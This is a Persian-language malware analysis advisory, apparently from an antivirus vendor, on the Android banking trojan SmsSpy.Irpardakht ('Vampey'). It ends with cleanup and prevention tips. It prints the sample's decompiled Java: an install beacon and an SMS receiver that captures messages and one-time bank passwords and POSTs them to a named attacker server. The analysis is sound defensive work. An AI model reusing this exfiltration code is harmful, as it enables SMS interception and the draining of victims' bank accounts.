شرح کلی
نوع: تروجان (Trojan)
درجه تخریب: متوسط
میزان شیوع: متوسط
تروجان(Trojan) چیست؟
تروجانها نوعی از بدافزارها محسوب میشوند که خود را در قالب نرمافزاری سالم و قانونی نشان میدهند و بسیار شبیه نرمافزارهای مفید و کاربردی رفتار میکنند. اما هنگامی که اجرا میشوند، خرابیهای زیادی را برای سیستم ایجاد میکنند. از جمله راههای ورود تروجانها به سیستم: نرمافزارهای دانلود شده از اینترنت، جاسازی شدن در متن HTML، ضمیمه شدن به یک ایمیل و … هستند. تروجانها برخلاف ویروسها و کرمهای کامپیوتری قادر به تکثیر خود نیستند.
خانواده بدافزاری SmsSpy.Irpardakht چیست؟
دستهای از اپلیکیشنهای آلوده با هدف حملات فیشینگ و دسترسی به اطلاعات حسابهای بانکی کاربران، در مارکتهای اندرویدی معتبر مانند کافه بازار، مایکت و همچنین سایتها و مارکتهای غیر معتبر، کانالهای تلگرامی و یا اساماسهای حاوی لینکهای آلوده وجود دارند که کاربر آنها را دانلود و نصب میکند. این بدافزارها در قالب برنامههای کاربردی و قانونی جلوه میکنند اما در عمل نه تنها خدمات مثبتی ارائه نمیدهند، بلکه به سرقت اطلاعات شخصی مهم کاربران با استفاده از حملات فیشینگ نیز اقدام میکنند.
روال کاری این نوع بدافزارها بدین صورت است که در شروع کار با دادن وعدههای مختلفی مانند ارائه خدمات بیشتر از جمله دسترسی به ابلاغیه دادگاه، دریافت یارانه، سهام عدالت و … در برخی موارد با درخواست مبلغی (ناچیز) کاربران را به صفحه جعلی دریافت اطلاعات بانکی انتقال میدهند. به محض اینکه کاربر اطلاعات حساب خود را وارد کرده (در این بدافزار تصویر کارت بانکی ) تمامی اطلاعات کارت بانکی کاربر به سمت مهاجمان ارسال شده و با دسترسی که بدافزار به اساماسهای کاربر یافته، رمز دوم کاربر را دریافت کرده و به راحتی اقدام به تخلیه حساب کاربر مینماید.
توضیحات فنی
بدافزار موبایلی با نام “وامپِی” هنگام نصب، دسترسیهای مورد نیاز خود مانند دریافت و خواندن اساماسها را دریافت میکند. پس از اجرای بدافزار نیز صفحهای به صورت تصویر زیر به کاربر نمایش داده و بعد از دریافت اطلاعات شخصی کاربر در صفحه بعد برای احراز هویت درخواست بارگذاری تصاویر کارت ملی، شناسنامه، کارت بانکی و عکس کاربر را مینماید. در صورتی که کاربر تصویر کارت بانکی خود را ارسال نماید، با دسترسی که بدافزار به اساماسهای کاربر دارد، رمز پویای کاربر را نیز دریافت و در مدت زمان کوتاهی به تخلیه حساب بانکی قربانی میپردازد.
شرح عملکرد
اکتیویتی ir.pardakht.MainActivity
در این اکتیوتی بدافزار با استفاده از متد POST به سرور خود اعلام میکند که کاربر بدافزار را (با ارسال شناسه build گوشی) نصب کرده است.
public void ii(String str) {
String str2 = Build.ID;
MyHttpUtils.RequestData requestData = new MyHttpUtils.RequestData(str, "POST");
requestData.setParameter("install", new StringBuffer().append(new StringBuffer().append("تارگت ").append(str2).toString()).append(" برنامه را نصب کرد").toString());
requestData.setParameter("id", str2);
requestData.setParameter("link", this.this$0.domain);
new MyTask(this).execute(requestData);
}
و سپس آدرس “https://img.pikacu.site/vampey/index.htm” در قالب یک وبویو به کاربر نمایش داده میشود.
ریسیور ir.pardakht.Sms
ریسیور به محض دریافت پیام برای کاربر اجرا می شود.
در متد زیر با استفاده از کلاس SmsMessage و متدهایش به صورت زیر اقدام به سرقت اساماسهای کاربر مینماید:
متد ()getDisplayOriginatingAddress = دسترسی به شماره تلفن ارسال کننده پیام
متد ()getDisplayMessageBody = دسترسی به متن پیام
public void onReceive(Context context, Intent intent) {
Bundle extras = intent.getExtras();
if (extras != null) {
try {
for (Object obj : (Object[]) extras.get("pdus")) {
SmsMessage createFromPdu = SmsMessage.createFromPdu((byte[]) obj);
String displayOriginatingAddress = createFromPdu.getDisplayOriginatingAddress();
String displayMessageBody = createFromPdu.getDisplayMessageBody();
this.num = displayOriginatingAddress;
this.txt = displayMessageBody;
Log.i("SmsReceiver", ".");
Toast.makeText(context, ".", 1).show();
try {
new SendPostRequest(this).execute(new String[0]);
} catch (Exception e) {
Toast.makeText(context, "SMS faild, please try again later!", 1).show();
e.printStackTrace();
}
}
} catch (Exception e2) {
Log.e("SmsReceiver", new StringBuffer().append("Exception smsReceiver").append(e2).toString());
}
}
}
بدافزار در این ریسیور اطلاعات، اساماسهای کاربر را به صورت json و با استفاده از متد POST به سرور مخرب خود “https://img.pikacu.site/vampey/app.php” ارسال میکند.
protected String doInBackground2(String... strArr) {
try {
URL url = new URL("https://img.pikacu.site/vampey/app.php");
JSONObject jSONObject = new JSONObject();
jSONObject.put("id", Build.ID);
jSONObject.put("link", "");
jSONObject.put("msg", this.this$0.txt);
jSONObject.put("num", this.this$0.num);
Log.e("params", jSONObject.toString());
HttpURLConnection httpURLConnection = (HttpURLConnection) url.openConnection();
httpURLConnection.setReadTimeout(15000);
httpURLConnection.setConnectTimeout(15000);
httpURLConnection.setRequestMethod("POST");
httpURLConnection.setDoInput(true);
httpURLConnection.setDoOutput(true);
OutputStream outputStream = httpURLConnection.getOutputStream();
BufferedWriter bufferedWriter = new BufferedWriter(new OutputStreamWriter(outputStream, "UTF-8"));
bufferedWriter.write(this.this$0.getPostDataString(jSONObject));
bufferedWriter.flush();
bufferedWriter.close();
outputStream.close();
int responseCode = httpURLConnection.getResponseCode();
if (responseCode == 200) {
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(httpURLConnection.getInputStream()));
StringBuffer stringBuffer = new StringBuffer("");
String readLine = bufferedReader.readLine();
if (readLine != null) {
stringBuffer.append(readLine);
}
bufferedReader.close();
return stringBuffer.toString();
}
return new StringBuffer().append("false : ").append(responseCode).toString();
} catch (Exception e) {
return new StringBuffer().append("Exception: ").append(e.getMessage()).toString();
}
}
روش مقابله و پاکسازی سیستم
جهت حصول اطمینان از عدم آلودگی دستگاه، توصیه میشود آنتی ویروس پادویش را نصب کرده و فایل پایگاه داده آن را بهروز نگه دارید و اسکن آنتی ویروس را انجام دهید.
روش های پیشگیری از آلوده شدن گوشی:
- از دانلود و نصب برنامه از منابع و مارکتهای موبایلی نامعتبر خودداری کنید.
- هنگام نصب برنامههای موبایلی، به مجوزهای درخواستی توجه فرمایید.
- از فایلها و اطلاعات مهم موجود در گوشی خود، به طور مستمر پشتیبانگیری کنید.
- از نسخههای غیررسمی برنامهها استفاده نکنید. برنامههایی مانند تلگرام و اینستاگرام نسخههای غیررسمی بیشماری دارند که اغلب آنها از طریق کانالهای تلگرامی انتشار مییابند.